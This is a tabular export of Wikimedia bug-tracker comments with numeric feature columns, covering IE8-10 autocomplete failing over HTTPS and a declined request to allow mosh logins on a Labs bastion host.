257441,Explorer does not store history when using https,So tempted to close this INVALID...,,,1400654180,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,So tempted to close this INVALID...
257439,Explorer does not store history when using https,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..

Something else that might be worth investigating is history.pushState magic ?",,,1378202249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,False,,,0,True,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,3.0,4.684210526315789,0.9736842105263158,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..

Something else that might be worth investigating is history.pushState magic ?"
257437,Explorer does not store history when using https,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done...",,,1378199589,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,0,True,2.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,5.0,16.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,3.6744186046511627,0.813953488372093,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done..."
55636,text input history/autocomplete doesn't work with HTTPS under IE8-10,"We have reports that since the HTTPS enabling, the autocomplete history of (most notably) the editsummary is no longer working for IE users.

This seems to be caused by Explorer that actively enforces this when pages are served over https and set cache headers to private/must-revalidate

http://webmasters.stackexchange.com/questions/2160/form-autocompletion-not-working/2455#2455

http://stackoverflow.com/questions/364066/why-is-the-internet-explorer-autocomplete-feature-disabled-for-all-html-forms-on/364094#364094

We might want to check if autocomplete=on bypassed the default setting, and consider adding that to the fields where we want people to have this available ?

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53681",Lowest,10.0,1377988680,1475504362.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-onqydqsd354curr7z7mb,task_description,declined,True,c2,3,False,False,False,0,True,0.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,2.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.5,3.5,2.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.5,11.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.5,8.5,4.0,1.5,5.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,9.0,2.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.5,0.5,0.0,3.9745762711864407,0.7627118644067796,"We have reports that since the HTTPS enabling, the autocomplete history of (most notably) the editsummary is no longer working for IE users.

This seems to be caused by Explorer that actively enforces this when pages are served over https and set cache headers to private/must-revalidate

URL

URL

We might want to check if autocomplete=on bypassed the default setting, and consider adding that to the fields where we want people to have this available ?

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL"
738056,text input history/autocomplete doesn't work with HTTPS under IE8-10,"Declining this task because (a) It's been open for 3 years with no resolution and (b) IE8-10 are no longer ""supported"" browsers at all on the Microsoft end of things for nearly a year now ( https://www.microsoft.com/en-us/WindowsForBusiness/End-of-IE-support ), so the rational response to any user complaint is to upgrade away from their vendor-unsupported browser to IE11 (or Chrome or FF, but not IE<11).",,,1475504362,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,161,True,3.0,0.0,0.0,0.0,1.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,1.0,6.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,14.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,3.5443037974683542,0.7974683544303798,"Declining this task because (a) It's been open for 3 years with no resolution and (b) IE8-10 are no longer ""supported"" browsers at all on the Microsoft end of things for nearly a year now ( URL ), so the rational response to any user complaint is to upgrade away from their vendor-unsupported browser to IE11 (or Chrome or FF, but not IE<11)."
474111,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I amended the title to the range IE8-10 because since late 2014 our HTTPS doesn't support IE6, therefore it's out of scope for any fix for this as well.",,,1434207367,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,93,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,20.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,9.0,20.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5428571428571427,0.9428571428571428,"I amended the title to the range IE8-10 because since late 2014 our HTTPS doesn't support IE6, therefore it's out of scope for any fix for this as well."
473868,text input history/autocomplete doesn't work with HTTPS under IE8-10,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that.

Anecdotal evidence on WP:VP/T suggests that it affects IE6 through IE10. IE11 is the first that apparently (according to @TTO) is working on this front.",,,1434140114,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0.0,2.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,22.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,14.0,15.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,3.9322033898305087,0.8305084745762712,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that.

Anecdotal evidence on WP:VP/T suggests that it affects IE6 through IE10. IE11 is the first that apparently (according toSCREEN_NAME) is working on this front."
473647,text input history/autocomplete doesn't work with HTTPS under IE8-10,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that.",,,1434116915,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,23.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,15.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.6538461538461537,0.9230769230769231,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that."
473627,text input history/autocomplete doesn't work with HTTPS under IE8-10,"After a quick test, autocomplete seems to work fine on HTTPS on IE11 under Windows 8.1 (Desktop). It's not clear which versions of IE are being referred to here.",,,1434114623,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0.0,0.0,0.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,20.0,14.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9142857142857143,"After a quick test, autocomplete seems to work fine on HTTPS on IE11 under Windows 8.1 (Desktop). It's not clear which versions of IE are being referred to here."
254752,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I think some other sites workaround this problem by implementing their own autocomplete using local storage/cookies.

That is something we could consider as well of course.",,,1382450340,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,7,True,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.774193548387097,0.967741935483871,"I think some other sites workaround this problem by implementing their own autocomplete using local storage/cookies.

That is something we could consider as well of course."
254746,text input history/autocomplete doesn't work with HTTPS under IE8-10,Proposing WONTFIX/INVALID as per comment 6. :-/,,,1382121883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.1,1.0,Proposing WONTFIX/INVALID as per comment 6. :-/
254738,text input history/autocomplete doesn't work with HTTPS under IE8-10,This is not likely to be fixed. It was designed by Microsoft to specifically behave like that.,,,1380273228,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,11.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,21.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,21.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.8947368421052632,This is not likely to be fixed. It was designed by Microsoft to specifically behave like that.
254729,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I'm going to track this closely because I just asked this question at the pump...
https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#AutoComplete_.E2.80.93_forms
and my buddy, Jimbo, assured me it would be fixed soon.  Well, that last part's not entirely true, but I do make a lot of edits that require the same edit summary, so this is a huge time bottleneck for me, and probably other contributors, as well.  Please fix this soon, especially since bug 54626 has not yet been resolved.",,,1380231319,,PHID-USER-kv35qmxnu67nstom6kg2,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,1.0,2.0,2.0,5.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,13.0,6.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,13.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,7.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,2.0,1.0,0.0,7.0,6.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,2.0,2.0,1.0,0.0,0.0,0.0,3.5851063829787235,0.7553191489361702,"I'm going to track this closely because I just asked this question at the pump...
URL
and my buddy, Jimbo, assured me it would be fixed soon.  Well, that last part's not entirely true, but I do make a lot of edits that require the same edit summary, so this is a huge time bottleneck for me, and probably other contributors, as well.  Please fix this soon, especially since bug 54626 has not yet been resolved."
254718,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I have explored messing with the cache control settings, but in IE 10, i cannot see an indication that the cache headers are affecting the outcome here. I did have to use a self signed certificate, so it might be that would break the logic.

The headers that get sent on the editpage are OutputPage:sendCacheControl() inside the $this->mEnableClientCache block, specifically the
# We do want clients to cache if they can, but they *must* check for updates

I'm not sure what else to try. I had forms autocomplete to on, storing 'encrypted pages' on. Unless we have more hints I'm not sure what else could fix this. Other than disabling https.",,,1378754859,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,2.0,4.5,0.5,0.0,0.0,1.5,0.5,3.0,0.0,0.0,0.0,5.0,0.0,5.5,10.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,2.5,0.5,0.0,5.0,1.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,14.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,5.0,1.5,7.0,2.5,1.0,6.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,7.0,10.0,0.5,0.0,1.5,0.0,7.0,0.0,2.0,1.0,0.0,2.0,0.5,0.0,0.0,3.8768115942028984,0.7608695652173914,"I have explored messing with the cache control settings, but in IE 10, i cannot see an indication that the cache headers are affecting the outcome here. I did have to use a self signed certificate, so it might be that would break the logic.

The headers that get sent on the editpage are OutputPage:sendCacheControl() inside the $this->mEnableClientCache block, specifically the
# We do want clients to cache if they can, but they *must* check for updates

I'm not sure what else to try. I had forms autocomplete to on, storing 'encrypted pages' on. Unless we have more hints I'm not sure what else could fix this. Other than disabling https."
254709,text input history/autocomplete doesn't work with HTTPS under IE8-10,DJ: Do you have time to write a patch for this?,,,1378744181,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,15.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,1.0,DJ: Do you have time to write a patch for this?
254702,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I tested forcing autocomplete=on in script and it does not seem to solve this.

This: http://blogs.msdn.com/b/ieinternals/archive/2009/09/11/troubleshooting-stored-login-problems-in-ie.aspx?PageIndex=3
says it's even specific to non-login forms. (huh wut ?)

This: http://stackoverflow.com/questions/2240695/how-to-enable-autocomplete-when-using-internet-explorer-and-ssl
suggests that removing no-cache from the cache-control headers fixes the problem. I wonder if max-age=0 (which is what we use) is interpreted by IE the same way as no-cache is, and if removing it would fix the problem

I guess the above once again says a lot about Explorer engineering.

(also, might this relate to the problem that some IE users have reported that their textarea contents have not been remembered if they go back in history ????)",,,1378130144,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,0,True,0.5,0.0,0.0,1.5,1.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.5,4.5,9.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,9.0,1.5,1.5,2.5,0.0,0.5,0.5,0.0,0.5,0.0,1.5,1.5,0.0,0.5,0.0,0.5,0.0,0.5,12.0,2.5,0.0,0.5,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,4.5,2.5,6.0,3.0,1.0,8.5,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,5.5,9.0,4.0,3.5,0.0,0.0,5.5,0.0,1.5,0.5,0.0,1.5,0.0,0.0,0.0,3.556338028169014,0.7816901408450704,"I tested forcing autocomplete=on in script and it does not seem to solve this.

This: URL
says it's even specific to non-login forms. (huh wut ?)

This: URL
suggests that removing no-cache from the cache-control headers fixes the problem. I wonder if max-age=0 (which is what we use) is interpreted by IE the same way as no-cache is, and if removing it would fix the problem

I guess the above once again says a lot about Explorer engineering.

(also, might this relate to the problem that some IE users have reported that their textarea contents have not been remembered if they go back in history ????)"
254698,text input history/autocomplete doesn't work with HTTPS under IE8-10,"with 'autocomplete=on', I mean the attribute autocomplete set to be explicitly on.",,,1377989368,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,11.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.8333333333333334,"with 'autocomplete=on', I mean the attribute autocomplete set to be explicitly on."
54693,Allow login using mosh as an alternative to plain ssh on bastion,"ssh is quite painful over a slow and/or lossy connection. mosh uses ssh for authentication and then changes to it's own robust, udp based protocol. Quoting from the man page:

mosh  (mobile  shell) is a remote terminal application that supports intermittent connectivity, allows roaming, and pro‐
vides speculative local echo and line editing of user keystrokes.

Compared with ssh, mosh is more robust — its connections stay up across sleeps and changes in the client's IP address  —
and  more  responsive,  because  the protocol is tolerant of packet loss and the client can echo most keystrokes immedi‐
ately, without waiting for a network round-trip.

mosh uses ssh to establish a connection to the remote host  and  authenticate  with  existing  means  (e.g.,  public-key
authentication  or a password). mosh executes the unprivileged mosh-server helper program on the server, then closes the
SSH connection and starts the mosh-client, which establishes a long-lived datagram connection over UDP.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1376117100,1456949493.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_description,invalid,True,c2,2,False,False,False,-3,True,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,5.666666666666667,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,11.666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.666666666666667,1.3333333333333333,2.6666666666666665,0.3333333333333333,3.3333333333333335,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,6.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,2.3333333333333335,0.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,4.131754385964912,0.7119883040935672,"ssh is quite painful over a slow and/or lossy connection. mosh uses ssh for authentication and then changes to it's own robust, udp based protocol. Quoting from the man page:

mosh  (mobile  shell) is a remote terminal application that supports intermittent connectivity, allows roaming, and pro‐
vides speculative local echo and line editing of user keystrokes.

Compared with ssh, mosh is more robust — its connections stay up across sleeps and changes in the client's IP address  —
and  more  responsive,  because  the protocol is tolerant of packet loss and the client can echo most keystrokes immedi‐
ately, without waiting for a network round-trip.

mosh uses ssh to establish a connection to the remote host  and  authenticate  with  existing  means  (e.g.,  public-key
authentication  or a password). mosh executes the unprivileged mosh-server helper program on the server, then closes the
SSH connection and starts the mosh-client, which establishes a long-lived datagram connection over UDP.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
621711,Allow login using mosh as an alternative to plain ssh on bastion,I am tossing this for now since mosh doesn't support the methodology used by labs in general.  What can be done was done but it's not very useful.,,,1456949493,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,131,True,0.0,0.0,3.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.606060606060606,0.9393939393939394,I am tossing this for now since mosh doesn't support the methodology used by labs in general.  What can be done was done but it's not very useful.
249291,Allow login using mosh as an alternative to plain ssh on bastion,"Still not merged, so we can't really do much.",,,1413537437,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,59,True,8.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,1.0,"Still not merged, so we can't really do much."
249286,Allow login using mosh as an alternative to plain ssh on bastion,"Considering we are dealing with keys, *definitely* the former!",,,1380191281,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.153846153846154,0.9230769230769231,"Considering we are dealing with keys, *definitely* the former!"
